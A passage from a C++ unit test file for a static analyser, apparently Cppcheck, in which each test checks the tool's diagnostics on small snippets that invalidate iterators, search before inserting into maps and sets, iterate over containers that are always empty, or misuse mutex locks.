errout_str());\n\n // #9133\n check(\"struct Fred {\\n\"\n \" std::vector v;\\n\"\n \" void foo();\\n\"\n \" void bar();\\n\"\n \"};\\n\"\n \"void Fred::foo() {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar();\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void Fred::bar() {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:44] -> [test.cpp:8:5] -> [test.cpp:12:7] -> [test.cpp:9:5]: (error) Using iterator to member container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void foo(std::vector& v) {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar(v);\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void bar(std::vector& v) {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:29] -> [test.cpp:2:44] -> [test.cpp:3:5] -> [test.cpp:7:7] -> [test.cpp:1:28] -> [test.cpp:4:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #10264\n check(\"void f(std::vector& x) {\\n\"\n \" struct I {\\n\"\n \" std::vector *px{};\\n\"\n \" };\\n\"\n \" I i = { &x };\\n\"\n \" x.clear();\\n\"\n \" Parse(i);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::string x;\\n\"\n \" struct V {\\n\"\n \" std::string* pStr{};\\n\"\n \" };\\n\"\n \" struct I {\\n\"\n \" std::vector v;\\n\"\n \" };\\n\"\n \" I b[] = {{{{ &x }}}};\\n\"\n \" x = \\\"Arial\\\";\\n\"\n \" I cb[1];\\n\"\n \" for (long i = 0; i < 1; ++i)\\n\"\n \" cb[i] = b[i];\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9836\n check(\"void f() {\\n\"\n \" auto v = std::vector >{ std::vector{ \\\"hello\\\" } };\\n\"\n \" auto p = &(v.at(0).at(0));\\n\"\n \" v.clear();\\n\"\n \" std::cout << *p << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:24] -> [test.cpp:3:18] -> [test.cpp:3:14] -> [test.cpp:4:7] -> [test.cpp:2:10] -> [test.cpp:5:19]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" return a.i->front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"void g(const std::vector& v);\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" g(a);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10984\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto g = [&v]{};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [&]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:3:33] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [=]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int* p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" A a{v.data()};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:15] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int*& p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto* p = v.data();\\n\"\n \" A a{p};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:6:21] -> [test.cpp:7:9] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #11028\n check(\"void f(std::vector c) {\\n\"\n \" std::vector d(c.begin(), c.end());\\n\"\n \" c.erase(c.begin());\\n\"\n \" d.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11147\n check(\"void f(std::string& s) {\\n\"\n \" if (!s.empty()) {\\n\"\n \" std::string::iterator it = s.begin();\\n\"\n \" s = s.substr(it - s.begin());\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:13]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n // #11630\n check(\"int main(int argc, const char* argv[]) {\\n\"\n \" std::vector args(argv + 1, argv + argc);\\n\"\n \" args.push_back(\\\"-h\\\");\\n\"\n \" args.front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #13108\n \" auto it = unknown(v);\\n\"\n \" auto w = std::vector{ it, v.end() };\\n\"\n \" v.erase(it, v.end());\\n\"\n \" for (const auto& i : w) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13410\n check(\"int f(std::vector& v) {\\n\"\n \" const int* i = &*v.cbegin();\\n\"\n \" v.push_back(1);\\n\"\n \" return *i;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:26] -> [test.cpp:2:30] -> [test.cpp:1:26] -> [test.cpp:2:20] -> [test.cpp:2:20] -> [test.cpp:3:7] -> [test.cpp:1:25] -> [test.cpp:4:13]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #9834\n check(\"struct CJ {\\n\"\n \" std::string m_string1 = \\\"hello\\\";\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" std::vector vec1;\\n\"\n \" vec1.push_back(CJ());\\n\"\n \" auto& a_ref = vec1.at(0).m_string1;\\n\"\n \" vec1.clear();\\n\"\n \" std::cout << a_ref << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:17] -> [test.cpp:7:24] -> [test.cpp:8:10] -> [test.cpp:9:18]: (error) Reference to vec1 that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n }\n\n void invalidContainerLoop() {\n // #9435\n check(\"void f(std::vector v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 5)\\n\"\n \" v.push_back(i * 2);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:15]: (error) Calling 'push_back' while iterating the container is invalid. [invalidContainerLoop]\\n\", errout_str());\n\n // #9713\n check(\"void f() {\\n\"\n \" std::vector v{1, 2, 3};\\n\"\n \" for (int i : v) {\\n\"\n \" if (i == 2) {\\n\"\n \" v.clear();\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void add(int i) {\\n\"\n \" v.push_back(i);\\n\"\n \" } \\n\"\n \" void f() {\\n\"\n \" for(auto i:v)\\n\"\n \" add(i);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:7] -> [test.cpp:7:5] -> [test.cpp:8:7]: (error) Calling 'add' while iterating the container is invalid. [invalidContainerLoop]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #14013\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r = v.emplace_back(std::make_unique());\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r{ v.emplace_back(std::make_unique()) };\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void findInsert() {\n check(\"void f1(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f1(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(QSet& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9218 - not small type => do not warn if cpp standard is < c++17\n {\n const char code[] = \"void f1(std::set& s, const LargeType& x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\";\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP14));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP17));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n }\n\n { // #10558\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.try_emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n }\n }\n\n void checkKnownEmptyContainer() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" v.clear();\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (!v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::sort(v.begin(), v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (style) Using sort with iterator 'v.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #1201\n \" std::vector v1{ 0, 1 };\\n\"\n \" std::vector v2;\\n\"\n \" std::copy(v1.begin(), v1.end(), v2.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:45]: (style) Using copy with iterator 'v2.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.insert(v.end(), 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(std::vector*);\\n\"\n \"};\\n\"\n \"A f() {\\n\"\n \" std::vector v;\\n\"\n \" A a(&v);\\n\"\n \" for(auto&& x:v) {}\\n\"\n \" return a;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static void f1(std::list& parameters) {\\n\"\n \" parameters.push_back(a);\\n\"\n \"}\\n\"\n \"int f2(std::list& parameters) {\\n\"\n \" f1(parameters);\\n\"\n \"}\\n\"\n \"void f3() {\\n\"\n \" std::list parameters;\\n\"\n \" int res = ::f2(parameters);\\n\"\n \" for (auto param : parameters) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace ns {\\n\"\n \" using ArrayType = std::vector;\\n\"\n \"}\\n\"\n \"using namespace ns;\\n\"\n \"static void f() {\\n\"\n \" const ArrayType arr;\\n\"\n \" for (const auto &a : arr) {}\\n\"\n \"}\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:7:26]: (style) Iterating over container 'arr' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void foo(S& s) {\\n\"\n \" s.v.clear();\\n\"\n \" bar(s);\\n\"\n \" std::sort(s.v.begin(), s.v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v, int e) {\\n\"\n \" if (!v.empty()) {\\n\"\n \" if (e < 0 || true) {\\n\"\n \" if (e < 0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto& rv = v;\\n\"\n \" rv.push_back(42);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern void f(std::string&&);\\n\"\n \"static void func() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& s_ref = s;\\n\"\n \" f(std::move(s));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12757\n \" template\\n\"\n \" void clear() {}\\n\"\n \" template\\n\"\n \" std::vector get() const { return {}; }\\n\"\n \" std::vector m;\\n\"\n \"};\\n\"\n \"template<> void S::clear() { m.clear(); }\\n\"\n \"template<> std::vector S::get() const {\\n\"\n \" for (const auto& i : m) {}\\n\"\n \" return {};\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\" // #13121\n \" static std::string s = {};\\n\"\n \" for (auto c : s) {}\\n\"\n \" if (b)\\n\"\n \" s += \\'a\\';\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\" // #13727\n \" std::vector v;\\n\"\n \" v.insert::iterator>(v.end(), it, it + 1);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMutexes() {\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:40]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::unique_lock g(m, std::defer_lock);\\n\"\n \" static std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:41]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" 